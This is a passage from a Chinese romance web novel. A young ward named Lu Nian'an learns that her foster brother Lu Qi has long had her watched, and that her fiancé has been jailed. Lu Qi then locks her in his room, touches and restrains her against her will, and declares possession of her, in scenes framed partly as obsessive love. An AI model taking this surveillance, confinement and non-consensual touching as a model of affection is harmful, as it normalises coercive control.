百迭裙的裙摆,要用好几尺云纱所制,才能层层叠叠堆起一个漂亮弧度。 陆念安也爱美,正翻看着新衣,忽得听着这话,她显得很平静:“我知道的呀,乞巧那日母亲就说过了。” “对对……嗯?”反应过来,陈嬷嬷有些意外她的平静。 乞巧那日只是提了提,眼下小姐这态度,到仿若从未抱过什么期待一般。 陆念安不知她在想什么,乖乖将裙衫叠好,她问:“嬷嬷,明日我就穿这身绿色的吧,好像显得稳妥一些,对吗?” 她本就生得乖,嗓子软,现下说出得话也叫人欣慰。 陈嬷嬷感叹她还是长大了,没在提陆祁的事,只点点头:“这身确是不错。” 给陆念安又挑了对耳坠,陈嬷嬷没待太久,离开了北院。 妆匣已经被打开,匣中装得大多是玉簪,陆念安平日里更偏爱素净些的白玉,既已挑了耳坠,她便顺手又取了支簪子。 秋菊端着冰碗进屋,远远地就开始夸赞:“小姐手上这支红玉的这支不错。” 夏日里闷,冰碗中铺着翠绿的甜瓜,瞧着便驱散了几分暑气。秋菊将冰碗放下,再抬眸时,却见陆念安将那红玉簪子放下,又转而拿起了更为素净的白玉簪。 “小姐怎得放下了,是不喜欢吗?” 镜匣上立着块菱花铜镜,秋菊侧着身,只看见铜镜中小姑娘一脸苦闷,摇头道:“可是红色好像有些不够稳重诶。” 看着她因为这么一根发簪纠结,秋菊觉得有些好笑:“可小姐就只戴这么一根发簪,是红玉也无碍的。” “是吗?” “是的,”秋菊将红玉簪同那耳坠收好,抬手合上妆匣,干脆道:“我看小姐就是太紧张了,来,先吃些冰果子,也没什么可紧张的。” 一语成拙。 陆念安呼出口气,意识到自己原来是在紧张啊。 可府上多出的丫鬟,被堆满的库房,以及院子里珍稀的绸缎……这每一桩,都好像是在提醒她,明日并不简单。 就连皇后娘娘也会来,她还要见周越的父母和叔侄…… 陆念安头一次这样清晰的意识到,她真的要嫁人了。 说不清是害怕还是什么,她的确有些紧张,又担忧周家人会不喜欢她,想着想着,连带着手中冰碗都没了滋味。 “可小姐不是说过,同周越相处时还不错嘛?”知道她紧张,秋菊拍了拍她单薄的脊背,安慰:“只要小姐同周公子相处时不紧张就好。” 这话到也没错。 陆念安心不在焉地吃着甜瓜,闷闷叹声气。 可她还是有些紧张。 * 翌日忙碌。 准备了多日的家宴将至,嬷嬷还要了些丫鬟过去帮忙。 梳妆后,便连秋菊的人影也瞧不见。里屋内只剩下陆念安一人,她看着镜中的自己,有些好奇地抬手触上耳坠。 镜中女子便也跟着动了动,珍珠耳坠色泽莹润,将她整个人添上一分稳重。 天还未亮便被叫起来上妆,陆念安欣赏了会儿自己后,感受到浓厚的困倦。 总归无事了,她靠着软榻闭上眼。 夏日的午后,院子里落下一片细碎的光影,草丛里散开一片蝉鸣,喧闹里,夹杂着府上小丫鬟忙碌的声音。 秋菊像是回来了,她要将那些绸缎送去绣阁,莲叶呢说要去库房一趟,冬枝可能在清扫院子,还有…… 这些混乱的声音让陆念安尤为安心,没一会儿,她便沉沉睡去。 屋中放着冰,温度舒适,这一觉她睡得很是安稳。 不知睡过了多久,再醒来时,冰块消融,屋中已经有些闷热。 陆念安揉着眼起身,醒神以后,她第一时间朝窗边看去。 日光渐暗,天边落日余晖的色彩,像是一副色泽艳丽的画,而这画也正慢慢黯淡。 耳边反常地很静,陆念安顿了顿,转而推开门。 院中无一个丫鬟,一丛茉莉随风晃动,散开淡淡香气。 而除开这些花丛,整间院子便找不到一丝生机了。 陆念安讨厌寂静,沉默黄昏勾出记忆深处的画面,她站在原地,生出一股被遗弃掉的惶恐。 不是有家宴吗?为何秋菊没有来唤醒她呢? 越往下想越想不明白,陆念安皱起眉,逐渐有些忐忑不安。 她有些无措地抬步往前,想去旁得院子里瞧瞧,刚走出院门,同迎面而来的秋菊撞上。 “吓到我了秋菊,”陆念安跑上前撒娇:“方才你去哪儿了?” 秋菊一脸凝重,牵起她的手:“我陪小姐先进屋。” 这番态度陆念安看在眼底,于是心中的惶恐也加重了,她追问着:“怎么了秋菊,是发生什么事情了吗?” 一同进了里屋,秋菊将门窗紧闭,光线有些昏暗,秋菊拿起火折子点亮烛灯,这才开口解释:“小姐,是昨日宫里遇刺了。” 事发突然,又有关天下太平,官里当即便封锁了消息,一直到方才才走漏了些许声响。 秋菊也觉得突然,双眸无神:“皇上还不知道是怎么了,可能死了也说不准。” 养在后宅里的姑娘们,对天下大事并非逐一了解,但皇上驾崩这般大的事故,其中厉害是人尽皆知。 太平盛世,局势虽不会明显动荡,但各方势力混杂,若人真得没了,上京是该要乱上一段时日了。 陆念安揉了揉额,强打起精神来,问道:“哥哥还没回来吗?” “小姐不必担忧,奴婢想,公子是定不会出事的。” 秋菊将烛灯放下,微弱的光芒顿时照亮屋内,她声音明显颤抖:“可听说那刺客还未离开,夫人有些担忧,就叫丫鬟们都躲一起了,小姐也要好好呆在屋中,哪也不要乱跑。” 好在北院外的暗卫很多,秋菊解释完呼出口气,替自己湛了杯茶缓缓。 陆念安还站在原地。 她这才回神,明白是因为皇上生死未仆,所以今日家宴才不了了之。 到没什么遗憾,同家国大事比起来,儿女情长显然薄弱。 陆念安只是一时无法接受这般大的变故。 像是失去家人、来到陆府、哥哥去塞北……她天生笨拙,每一个忽然的变故,都要她需要适应许久许久。 * 今夜注定不是一个太平夜,黄昏散去后,黑云密布,天际间只剩下一片暗色。 秋菊端来温水,推门进屋时,神色缓和下来,像是得到了什么好消息。 陆念安很快察觉到她的转变,洗漱完,她一头乌发散开着,秋菊替她取下耳坠,手却落了个空。 陆念安一双眸明亮,黛眉忧愁:“可是又发生了什么?” 还是没瞒过去。 秋菊无奈地叹一声气,想了想还是实话实说:“是方才打水时见到青竹,所以奴婢想,可能公子估摸着也回来了。” 此番去浅西,青竹也跟着前往,若当下在府中见到青竹,陆祈便也该回上京了才对。 可其中变故说不准,没得到确切消息,秋菊不希望陆念安期待落空,便也未提及此事。 “青竹和哥哥……”陆念安反应过来,走下塌。 “诶?”秋菊追上去:“小姐你去哪儿?” 陆念安推开门往外走,及腰长发当即被吹得散开。 夜里很黑,明知道刺客还未离开上京,可走在漆黑的石板道上,陆念安却生不出恐惧了。 到了这时,她不得不承认,就算陆祈也给她带来过很多恐惧,可一发生什么变故—— 她还是,最想同哥哥呆在一起了。 更何况宫里的事情,也只有哥哥最为知晓的。 陆念安忽然有许多话想要问他,也想要哥哥能耐心替她解答。 陆府不大,北院同西院之间便也不远。 走到一半,陆念安才发现自己连灯也未拿,好在这条路她太过熟悉,就算闭上双眼,她也可以慢慢摸索出来。 终于到了西院。 眼前因此开阔起来,陆念安缓步上前,到了这时,欣喜消散,她缓缓注意到西院内的昏暗。 院内没点灯,透着一股了无人烟的寂静,别说陆祈,就连青竹的人影也瞧不见。 陆念安不由得放轻脚步,纠结片刻,还是进了院中。 月光里,黑暗中的一切都像是被披上层银纱,显得孤独沉寂。 几乎要以为白来一趟时,角落的书房里,泄露出微弱光亮。 陆念安揉揉眼,没有犹豫地走近书屋。 屋内是空荡的整齐,除了那些生涩难懂的古书以外,便只剩下个简单的素色花瓶。 ……一切都同从前无二。 而唯一的光亮来源于长桌前,那里点着根蜡烛,只剩下半截。 陆念安有些疑惑地走过去,桌案上摆着一本小册,除此以外,便什么也没有了。 明明都回来了,却瞧不见人影。 百般聊赖间,陆念安坏心情地拿起那本小册翻开。 宫中之事,兄长从不会避着她什么,但陆念安是明事理的,极少乱翻什么。 现下拿起这小册子,也不过只是无聊间的消遣,她低下头,长发顺势滑落,令她觉得有些痒。 寂静书房内,半截蜡烛落下柔和的光影,陆念安靠着长桌,看着看着,原本散漫地神色逐渐认真起来。 不知看见了什么,抵在小册上的素指绷紧,因为过于用力,边缘崩显出一股病态的白来。 她几经颤抖,恰逢无措时,耳边传来一道陌生男声。 “青竹兄,方才让暗卫去打听了,周越被关入地牢的罪名……” “科举贿赂考官……那可是砍头的大罪,新帝上任后,定是要拿这一批来杀鸡儆猴的……” “好了,”青竹止步,回头道:“我去刑狱司瞧瞧,你去宫里,余下的事,明日再商议……” 耳边的声音逐渐模糊,三言两句,彻底搅乱陆念安的思绪。 颤了颤,陆念安还以为是自己听错了,可寂静的夜中,男声如磐石落地,一切都是那般清晰。 贿赂考官? 比起皇上的安危与否,相熟之人的消息,更让陆念安心惊。 陆念安记忆里,哥哥并非一直在宫中任职,还当过一段时间狱司长。 那时忙碌,一年到头,最忙碌之际卷宗多不胜数,陆祈偶尔也会将卷宗带回书房审阅。 对幼时的记忆已经模糊,陆念安只记得他拿出律法对照着审判卷宗。 照大景律法,科举舞弊,一直都是死罪。 可是一个文弱的读书郎,能贿赂考官什么? 第78章 第七十八章 暖风钻进屋内,半截蜡烛本就微弱的烛光变得岌岌可危。 陆念安缓缓将手中小册放回至原地。 若说对周越有什么特别的印象……其实她以前从未想过,以后能同这位年轻大夫有这般多交集。 陆念安太胆怯了,养在巢穴中被精心保护着的幼鸟,长大以后头一次同外界接触,除了感慨天有多么宽广高大以外,一切是怯懦的。 周越是第一个,由她自己认识的朋友。 得知他有了自己家人的那一刻,她那时由衷地为了他开心。 可就算不是朋友,没有未婚夫这层关系,陆念安也不相信他会贿赂考官。 为什么会变成现在这样…… 陆念安愣愣站了好一会儿,她觉得自己实在笨拙,这样的关键时刻,却连一个像样的理由也想不出来。 夜深露重,微弱的烛光还是被风吹散,书屋内陷入昏暗的死寂。 “大人什么时候走得?”青竹推开门走进书房以后,忍不住小声嘟囔了句。 但他很快就将目光转向眼前的高柜,认真翻找起什么来。 月光很淡,青竹眯起眼睛,费力地在一众生涩书册中看了又看,才终于找到自己想要的。 还没来得及翻看,身旁落下道影来,青竹余光瞥见,当即被吓了一跳。 转过头,只瞧见月光下一张惨白的脸,乌发搭在脸侧,脸上坠着两颗核桃眼,又大又亮。忽得同这眸子对上,还以为是书中的妖精出来索命了。 “青竹,你是要去刑狱司吗?” “哗啦”一声,青竹手中卷宗摔落至地。 看清眼前人是谁后,青竹才弯腰将那卷宗拾起,呼出口气:“小姐怎么忽得来了?” 是他有些多虑了,公子的书房除了小姐,便也无人敢这般鬼鬼祟祟前来。 陆念安将披散在肩侧的乌发理了理,重新抬眸看向青竹:“我来看看哥哥。” “哦,公子他……” 一句话未完,陆念安却是打断他,问道:“青竹是要去刑狱司吗?我也想去看看。” 宫中事发突然,几方势力各怀心思,现下的上京,就是整个大景最不太平的地方。 去刑狱司……青竹想也没想就拒绝,绞尽脑汁宽慰道:“小姐不是在等公子吗?公子很快就会回来了。” 陆念安却是摇头,她几乎用恳求地语调再次开口:“你带我去吧青竹,我只是有话想问一问周越,保证不会乱跑的。” 既然想不出个所以然,去问一问也好,或许她还能帮上些忙。 陆念安不是见死不救的人,更何况现下的周越,本就是同他有婚约的未婚夫,她根本没办法眼睁睁看着相熟之人落到此番境地。 见青竹犹豫,陆念安闷闷不乐地开口补充:“青竹,你知道我从来都很听话的。” 青竹:“……” 她态度坚定,青竹一时不知自己还能说什么,只能沉默地低下头,紧抱着手中卷宗便要离开,还不忘将书房的门合上。 一门之隔,被隔绝在屋内的陆念安反应过来,有些着急地想将门拉开。 青竹却并未将门锁上,陆念安很快拉开门,不满道:“青竹你怎么——” 屋外一片皎洁的月光落下,青竹的身影早已不见。 往下看去,陆祈静站在最下层的台阶上,那里没有月光,梧桐树落下的影,笼住他高大修长的身躯,很静。 他身着的黑衣完全同夜色重叠,在无边界的暗色中,寡淡的令人恍惚。 是方才还在迫切寻找的人,可此刻见面,陆念安却没有想象中欣喜。 陆祈踏上台阶,缓步朝她靠近时,不疾不徐道:“阿念这般急迫,是要去哪儿?” “我……”陆念安揉了揉眼,没有说话。 洗漱完未换衣,她穿着时下兴起的那身短袖褙子,袖只到胳膊,再往下,是松松垮垮的云纱罩住藕臂。 被月光一照,烟云纱轻如蝉翼,衬得她肌肤莹润,很是漂亮。 陆祈目光越发深沉,静看了半响,他抬起手落在她颈侧,替她将有些凌乱的褙子,一点一点抚平。 粗砺指腹不可避免地触上她肌肤,陆祈抚了抚,淡声道:“今日京中不太平,我送你回北院。” “不要,”听见这话,陆念安抗拒地摇头,开口询问他:“哥哥可以带我去刑狱司吗?” 褙子已被抚平,落在脖颈的大手却仍旧未被收回,从肩侧抚至她的细腰,再缓慢握住。 很痒,陆念安却不敢退后,忍住委屈解释道:“我方才听青竹说,周越被抓去了地牢,还,还说他贿赂考官,我想去亲自问一问他。” 她一着急,语调便染上了几分哭腔,破碎的嗓音,极惹人怜惜:“哥哥你带我去刑狱司看看吧,我以后都会好好听你话的。” 陆祈无动于衷地看着她,握住她细腰的大手,掀起云纱。 见他不说话,陆念安紧紧蹙起眉,巴掌大的脸上写满了苦恼:“哥哥是觉得周越贿赂了考官吗?他不是那样的人,他,他从前很清贫的。” “哥哥不是也说过他清贫吗?” 这好像是回忆中,唯一的,勉强能被称之为证据的东西:“哥哥还说阿念嫁给他以后,便不能再佩金银玉饰,会吃苦,他连债都还不完,又怎有余钱去贿赂考官……” 不加阻碍地触上女孩娇嫩的肌肤,她却哭了起来,软腰便也跟着颤抖。 陆祈一顿,难得好心情地开口哄她:“好像忘了,可阿念都这般说了,我怎会不相信你呢。” “送你回北院,再好好睡一觉,好不好?” 他哄孩子的语气同从前无二,陆念安一听便知是敷衍她的。 忽然就有些恼了,退后一步:“不去就不去,你太讨厌了,还不让青竹带上我,我要去找母亲……” 她红了眼眶,秀气的鼻尖也是红得,转身就要走。 陆祈落在半空的指骨一僵,神色冷下,他直接拉住她往身旁拽:“又不听话?” 他身着的黑衣变得凌厉疏冷。 久居高位的上位者,只泄露出一分凌人的气势来,就陌生到让人说不出话。 陆祈仿若未察觉到她的颤抖,静默一秒后,他牵住她的手将人带进内室。 屋内没点灯,弥着清淡的冷香气。陆祈合上门,锁扣落下,他强硬地将她关在屋中。 于是对未知的恐惧压抑到极点,陆念安肩侧颤抖起来,长发柔顺地搭在身后,单薄而纤弱。 “吓到了?”陆祈温柔地摸了摸她脑袋,可强硬的语调却不容人质疑半分:“你乖一些,哪都不许去。” 月影稀疏,高柜前拉出长长的影,映称出一室空荡。 陆念安眼睫轻颤。 从前只觉哥哥忽然变得陌生,现下才明了,一个人才不会忽然之间就改变。 只能说明,他本来就是这样的人。 他本来就这样深沉,褪去平和伪装,有着令她恐惧的一面。 他还说,要把她关起来。 关在哪儿? 陆念安最怕一个人独处了,怕暗不见天日的封闭空间,怕没人怕她说话,怕见不到亲人…… 委屈至极,连日来压在心中的不满几乎收不住,于是大颗大颗的泪珠滑落,陆念安凄然道:“哥哥你要把我关起来吗?” 少时总想要陆祈能多管一管她,长大以后,才发现那些褪去那些条条框框后,分明可以更快乐。 讨厌、讨厌、讨厌、好讨厌、好讨厌被管教。 此刻身处于的内室,是陆祈的卧房,同书屋无二,同样简洁,同样空荡,连屏风都是素净的,视线所到之处,几乎没有一抹色彩。 陆念安连带着讨厌起这样的素净来,这样冷冰冰的屋子,她从前是如何呆下去的? 她真是也一刻都不想留在西院。 身后的门却已被落锁,连钥匙也不知放在哪儿。 无措地推开眼前人,陆念安忽然就,忽然就很不想听话了。 不断朝后退,直至抵着高柜被迫停下,陆念安侧过眸,下一瞬,她怔愣地拿起几案上的素色花瓶。 却又很快松开手,“哗啦”一声,隔着裂开的清脆瓷片,撞进陆祁重回平静的眼眸,温和,寡淡。 “……” 陆念安彻底没了顾忌,这还是她头一回当坏孩子,顿了顿,直接将高柜上的为数不多的摆设全部扔掉。 她知道西院既是朴素的茶盏也都很值钱,环顾了眼四周,陆念安该摔得摔,该砸得砸。 花瓶、古书、茶盏、宫灯……无数矜贵罕见之物,在她手中变为破碎的瓷片,或是被撕毁撕碎。 只是随着一声一声的清脆,陆念安心中的难过未消散半分,她深深呼出口气,注意到小几上还放着一个匣子和花瓶。 那花瓶眼熟,是她有一回带来的,但八宝匣子却陌生,依稀可见四面都雕着花。 摆放在小几……是很重要的东西吗? 重要又如何,陆念安抹了抹眼泪,刚拿起匣子,就见原本静站在一侧的陆祈抬步走来。 好像真的是很重要的东西。 陆念安才不管,她都做坏孩子了,也不要听话。 狠狠将手中东西往下一扔,不同于瓷器落地的声音清脆,这声音更为沉闷些,匣子被砸开后,零零碎碎又散落了一地旁得。 月光下,无数竹条残骸轻易就支离破散,落了半间屋子。 “……” 陆祈缓慢靠近她,侧过身,高大身躯遮挡住所有光亮,他垂下眸,眼底情绪欲渐浓稠:“阿念可真是,越来越不听话了。” 阴冷指腹触上她脸侧,他近乎呢喃地又道:“你这般娇气,凶不得,关不得,都不知道要拿你怎么办才好了。” “我本来就不要你管我!”陆念安用力拍开他的手,怒吼道:“反正以后我想做什么就做什么,想同谁说话就同说话,想喝谁得茶就喝谁得茶,想怎么笑就怎么笑,我已经长大了,你管不了我了!” 天真纯善到笨拙的小姑娘,此刻用力吼出的话,也不过只是惊慌失措,还远远无法抹平初看见那小册时的惶恐。 陆念安强撑着又道:“反正我以后也都不要你管!!” 她真的很生气,说这话的同时,还顺手抬起一侧的花瓶往前砸。等瓷片碎了陆祈一身以后,陆念安才意识到自己做了什么。 原本空荡的卧房已经满是狼藉,厚重花瓶硬生生砸过他后肩,陆祈并未在意,目光始终只落在她身侧。 他像是感受不到任何疼痛,见陆念安沉默,大掌笼住她的手心摩挲起来:“扔疼了?” “娇气。” 陆念安慢慢冷静了。 她当然不是故意的,即便在生气,她也从来没有想过伤害陆祈,只是,只是被情绪控制时,她也有些收不住手,就连带着他一起砸了。 原来不只有陆祈,她也会有这样陌生的一面。 自责地低下头,陆念安没有说话,逃避般沉默下来。 过了好半响,才憋出细微地一声:“谁让你这么讨人厌。” 却没得到回答,陆念安后知后觉地意识到有哪里不对,很快,她嗅到乌木同冷松交融的香气下,那抹浅淡的血腥气。 慢慢的,血腥气压过冷香,彻底浓重起来。 “哥哥受伤了?”陆念安皱起鼻子。 她现下没了心情去计较什么,抽出手压在他肩侧,感受到一片湿润。 原来是血迹。 寄住于陆府的十多年,陆念安都鲜少见他生病或是受伤,她的记忆之中,陆祈也一直无坚不摧,从不会倒下。 被花瓶砸伤了该怎么办呢? 陆念安有些着急。 门也被锁上了,找不着钥匙就出不去,出不去就不能唤人来。 “哭什么?”明白了她的委屈以后,陆祈有些无奈,“也不想想自己哪有这般大的力气,是旁人所伤,同阿念没有关系。” “那……”闻言陆念安心里好受了些:“那哥哥你会很疼吗?” 陆念安没有流过这般多血,可只是划破一道口子,她就觉得很疼很疼了。 “疼。”陆祁语调冷了些,侧眸看着一地瓷片残骸,他微顿,单手抱起她往塌边走:“可若你能听话些,不再吵着去见旁人,我便不疼了。” 第79章 第七十九章 身体悬空的一瞬,失重感随之而来。 陆念安下意识环住陆祈的脖颈,双手落下,很快想起他右肩上的伤,又默默收回。 脑袋已经被晃得有些晕,天旋地转,片刻,陆念安被放置在一方柔软的榻上,素白色绸缎因为她的陷落生出丝丝缕缕的褶皱,她迷糊地眯起眼来,神情无措。 面前是一片狼藉,笔墨砚台东倒西歪,一地深黑墨渍同碎瓷片交杂,床榻边成了唯一净土,仍保持平和的规整。 陆祁半跪在地,大掌托住她脚腕往上抬,迫使她躯起腿来,露出的白绸绣鞋很快被褪去,只剩下一层柔软的罗袜。 很快,那罗袜也被解开,他手掌宽大,一手握住她的足,粗粝指腹划过最为娇嫩的脚背,陆念安圆润粉嫩的脚趾微颤,忍不住往后缩了缩。 好在陆祁很快将她放开,轻扫了一眼,他语调回到最初的平静:“阿念,你该睡了。” 情绪上剧烈起伏后,她的确有些困了,可就这么不明不白地睡去,有些太没心没肺。 陆念安没忘了自己原本是要做什么,既然他的伤口无事……她眼底的抗拒重新浮现,此刻紧皱起眉:“我要出去。” 月光之下,看着他平静到极点的眼眸,陆念安抿了抿唇,又道:“方才我不是故意的,但,但我说得都不是气话。” 冷静下来以后,心中升起的恐惧没有消散半分,陆念安试着平静道:“我觉得你这样很不好。” “很……”她回忆起初初看见那小册时的慌乱,以为往前是陆地,却一瞬跌落进没有边际的水潭,水下是湿滑阴冷的水藻,越挣脱收得越紧,带着黏腻的触感淹没令她窒息。 陆念安努力去回忆,正难受时,落在榻上的手背忽然被覆上一层湿冷,像被躲在暗处的蛇伺机缠绕上一样,她反应极大地将那手甩开,吓得浑身战栗发抖。 黑发落在腰间,发尾晃荡,她呼吸明显不平稳了。 陆祁被推开的手因此落在半空顿住。 屋内没有点灯,但今夜的月光似乎格外明亮,她眼底是分外清晰的抵触,同以往每一次闹脾气都不太一样。 眼中一闪而过什么,陆祈沉默了瞬,站起身来。 背对着光,他整个人隐匿在黑暗中,落下一道孤寂的影。 他太高了,陆念安抱膝蜷缩在他面前,显得更是渺小。 抬步逼近,陆祈半弯下腰,这一次力道强硬,一手落在她的后腰,一手绕过她的膝,将她抱起后放平至一侧。 深黑中,他面无表情,修长指骨捻起角落里的薄被,不疾不徐地展开。 素雅薄被间散出一股冷松香,在替她盖好被子的过程中,他整个人呈现出一股诡异的平和,温柔道:“知道了也好。” “可阿念觉得,好又该是什么样子的呢?” 她太不令人省心,娇气脆弱孩子,总让人花费更多的心思去照顾。 那时刚回上京的陆祈,也不过只是小小的狱司长。 家中无人照应妹妹,于是将莲叶留在她身旁盯着她,或是事无巨细地记录,不过是兄长对妹妹不加掩饰的担忧。 这担忧本该随着妹妹的成长消散掉,却从莲叶变成数不清的暗卫。 一拖再拖,经年累月,席卷疯长,甚偏离到失控的地步。 他要了解她的全部。 陆念安有些害怕,藏在薄被中又往里缩了缩,只露出一对湿润的眸来,学着他从前的话小声反驳:“我们这样是不对的。” “……” 没得到回应,耳边传来衣物摩擦的细微声响,在氛围被压抑到极点的空间,对未知的惶恐忽得剧增。 下一瞬意识到什么,陆念安忽得侧身想将躲起来—— 像是长兄与生自来的压制,他轻而易举压下她的一切逃离,一手环绕住她细腰,一手搭在她肩侧,一瞬收紧。 共躺在一张榻,陆祈浑身滚烫,将她往怀中揽的同时,他低下头埋进她的脖颈,着迷般轻嗅起来,连呼吸都融进她的肌肤。 他声音微哑:“那就该放任你在外厮混,什么也不管吗?” 脖颈好痒。 被浓厚的男性气息包裹,浅淡的松香将她裹的密不透风,陆念安紧紧皱起眉来,难受地低哼一声,才听见他的声音。 原来在哥哥眼中,连同家姐一起都成了厮混。 陆念安忽然好难过,他病态到可怕地控制欲,令她忍不住挣扎起来。 只是她越挣扎,环绕住细腰的长臂便收得越紧,比那些湿冷粘腻水藻还要过分。 这一次,陆念安感受到被灼烧的热意, 陆祈正试图压下她所有的抗拒。 绕在女孩腰间的长臂,肌肉鼓起明显弧度,凸起的青筋脉络分明,上面沁着密密麻麻的汗珠。 这是一个十足占有的拥抱,用力到仿若要将她融进骨血中,陆祈却觉得仍旧不够:“今日若未有变故,阿念是要去见他了?” 同他说话,喝他端来的茶,对他笑。 只是一想到,就该真的……真的将她关起来。 这是他的阿念。 关起来,就是他一个人的阿念了。 陆祈双眸里平静不复存在,只剩下一池死水般的冷意,漠然,疏冷。 直到怀中小姑娘传来细微地哭声。 他回神,终于卸下力道,安抚着抚了抚她的肩。 与此同时,陆念安却感受到耳垂边的湿濡……她太害怕了,即使听出他嗓音里的沙哑,也没心思细想太多。 她忍不住抽泣起来,唇齿破碎道:“不要关我,我会害怕的。” 陆祈看着她的耳垂,月光下,薄薄一片,他再次含住轻吮着,嗓音里因此带上粘腻水渍:“怕什么?我不是也和你一起被关住了。” “我们像以前一样,不好吗?”陆祈握住她的手:“往年冬天,你喜玩雪,冻得浑身发冷,就跑来西院找我睡,偏生连睡觉也不安分,要将手放在哥哥胸膛上取暖……” 他声音越来越哑,连她手也握不住了,到了最后,几乎只剩下呢喃。 正害怕着的陆念安反应过来,便迫不及待地往后退了退。 很快却嗅到一股浓厚的血腥气,借着月光,陆念安一边起身一边垂眸,不知瞧见了什么,整个人颤抖地更加可怜。 身下压着的锦绸,本该是白色,却被染上了浓厚的血迹,太多了太多了,已经红得开始刺目。 可,可他分明还能一手抱起她,瞧着也没什么……即便再迟顿,陆念安也意识到了有些不对了。 只是心中的恐惧未散,她不敢靠近,她害怕陆祈带着侵略的压迫。 陆念安犹豫着,选择慢慢抽走薄被蜷缩进角落。 只是她没有睡意,目光还是会忍不住落向榻边——那里太安静了。 没纠结多久,陆念安还是重新靠了过去,小心翼翼戳了戳陆祈,见他没有反应,才凑得更近了些:“哥哥,你睡着了吗?” 只有稀薄光亮,她看见他眉头拧得很紧,意识到他浑身滚烫原来是因为发热。 可是……环绕了眼室内,混乱狼藉里,别说药了,就连一截完好的蜡烛都找不出来。 而无边夜色中,整个北院已经没有一丝人气,卧房却被他亲自上了锁,如同牢笼一般,将两人困住。 她还能怎么办? 懵懂如陆念安,算是彻底无措了。 好半响后,陆念安看着还未醒来的陆祈,忍不住又哭起来。 吸吸鼻子,她觉得自己好没用。 明明都这么讨厌陆祈了,可当下见他醒不来,却又忍不住心疼。 陆念安捂住脸,觉得自己也太没有骨气了。 好半响后才勉强打起了些精神,她想起长桌前的那扇窗户。 她个子小,忍一忍,应是能从窗户里翻出去。 嗯,等她先救了哥哥,明日再去刑狱司里看周越。 这样想着,陆念安提起裙摆起身,小心翼翼往前走。 没等她双脚落地,身后传来窸窣动静,滚烫的一双手重新落在她腰间,颤着手腕将她拉扯回去。 “你要去哪儿,”陆祈额间微鼓,像是压抑到极点:“就这么喜欢他,喜欢到这么迫不及待地要离开我?” 肩侧伤口裂开了太久,伤势由于长时间未好转,正恶化加重。 发热后,他意识渐模糊,本该沉沉昏睡过去。 陆祈用力收紧腕骨,彻底将她拉入怀中,沙哑地嗓音之下,隐隐有些颤抖:“休想。” “你哪儿也不许去。” …… 陆祈是传统意义上,受众人期许而出生的嫡长子,秉性克制。 少时在军帐中,父亲告诉他,男儿的肩上,自要撑起一片天地,先撑起大景的百姓,而后是家人。 母亲却更想他入官场,教他循规韬距,克己守礼,  期盼他带着整个家族复兴,又叮嘱他走错一步,便会牵连整个家族。 他背负了太多期望。 于是少年最先学会的,是克制。 陆祈见过太多心怀私欲之人,人心总是无法满足,一旦破戒成瘾,便绝无回头之意。 若是如此,从一开始,便不该为欲念入世俗。 只是,真的不该吗? 两年前自以为的妥善离开,最后却成了加速失控一般的存在。 越思念,越压抑,越提醒他对妹妹不正常的感情,早已成瘾。 肩侧正在灼烧,因为过于用力,伤口再度撕裂,席卷而来的却不是疼痛,而是快意。 陆祈终于有些理解那些明知往前是深渊,却不肯止步之人。 成瘾之痛。 他放不下,也不想放下。 这个不平静的夜晚,月光静静笼罩着西院,倾斜散进的光亮,映衬出一室混乱狼狈。 最里侧,檀木架子床屹立在此处数十年。 榻上也开始变得混乱了,薄被被踢去一旁,因为灼热,陆祈浑身湿透了,意识昏迷的边缘,这一次,他没有松开手。 共躺在一张榻上,被抱得太紧,陆念安也热出了满身汗,到了此刻,她连抗拒都没了力气。 死死相依,额头相抵,汗珠同血迹交融间,陆祈又紧了紧手腕,呢喃道: “哪也不许去,” “你不能抵触我。” “你是我的。” 第80章 第八十章 屋中没有放冰,夜晚闷透了,在被汗沁湿的闷热中,陆念安逐渐放弃挣扎。 娇气地蹙起眉,她小幅度动了动,想在这被压迫到极点的空间里,找到一个舒服些的角落睡去。 刚扭了扭腰,不知碰到了什么,陆念安细眉蹙得更紧。 是他太硬了,浑身上下哪儿都是硬的,现下不知碰到了哪里,就硌得她很不舒服。 …… 轻叹了口气,不知过了多久,陆念安才适应这种被侵略到极致地占有,迷迷糊糊睡去。 再醒来时,却是被冻醒了。 晨日里天光大亮,金色暖阳在眼前浮动,极为刺目。陆念安瑟缩地颤了颤,冷得有些头晕。 她试着起身,好在这一次,环绕住她腰的力道已经松动许多,终于得以离开。 颤抖着下了榻,她背靠墙缓了许久许久,才觉温度回暖了些。 平躺在榻上的陆祈此刻却仍未醒来。塌间湿濡的血渍已经变得干涩,他双眸合上,黑衣冷肃,整个人透出一股疏冷寡淡的寒凉。 陆念安揉揉眼,强忍住眼泪,她避开一地混乱,走到窗边,试着将窗户完全支起来。 这只是一扇四四方方的小窗,还好她生得娇小,若是此刻踩着长桌往外爬,并非不能出去。 提起裙摆,陆念安刚费力地爬上桌案,一抬眸,忽得瞧见青竹守在门外。 院内整洁有序,青竹站在一侧,抬眸看着眼前这扇紧闭的门,他没什么太大反应,极为安静地等待着。 陆念安忙出声唤他,着急地解释了一番。 “很严重的伤势?”听到一半,青竹想起来什么,皱起眉。 京中动荡,此番回京其实并非易事……青竹想起陆祈前日里所受的箭伤,当时已用过药,只中箭之处有些特殊,大夫便再三叮嘱要小心注意。 陆祈并非文弱到一箭就倒下之人,只那箭碰巧压着多年前的旧伤而过,才显得严重了些。 但用过药后伤势已经好转。 正想到此处,陆念安隔窗探出半个身子,巴掌大的一张脸沐在光下,单纯无害极了:“我,昨日我不小心将花瓶砸到哥哥肩上了,流了好多好多血。” 她语调慌乱无措,青竹反应过来以后,一时不知是先惊讶她拿起花瓶砸人,还是公子竟也不躲这回事。 很快,陆念安有些心虚地又开口:“青竹你有钥匙吗?” 青竹却有些犹豫了。 卧房从内向外上了锁,显然是公子授意为之,他拿不准注意要不要强行打开。 陆念安闷闷催促了几声,整个身子探出窗户就要跳下去。 见状,青竹着实被吓得不清,只好硬着头皮去找人破门。 不过片刻,紧闭了整整一夜的红木门被打开,泄露进满室亮光。 青竹抬步地往里走,屋内气氛压抑,如死寂一般沉闷。 没等他走近,却是听见一声清脆的响,低下头,只见满地瓷片,零碎又混乱。 “……”青竹眼皮控制不住地抽搐起来,小心翼翼绕过这些瓷片。 一侧的角落,陆念安正从长桌上爬下来,她有些笨拙的轻盈,软纱覆在身侧,纤弱极了。 青竹并不敢乱看,只盯着她肩侧染上的血迹若有所思,联想到什么,他眼皮抽搐地更加明显了。 “青竹,”跳下长桌,陆念安双脚堪堪落地:“哥哥他……” “无事,”青竹宽慰道:“小姐放心,我已让人去唤了王太医。” 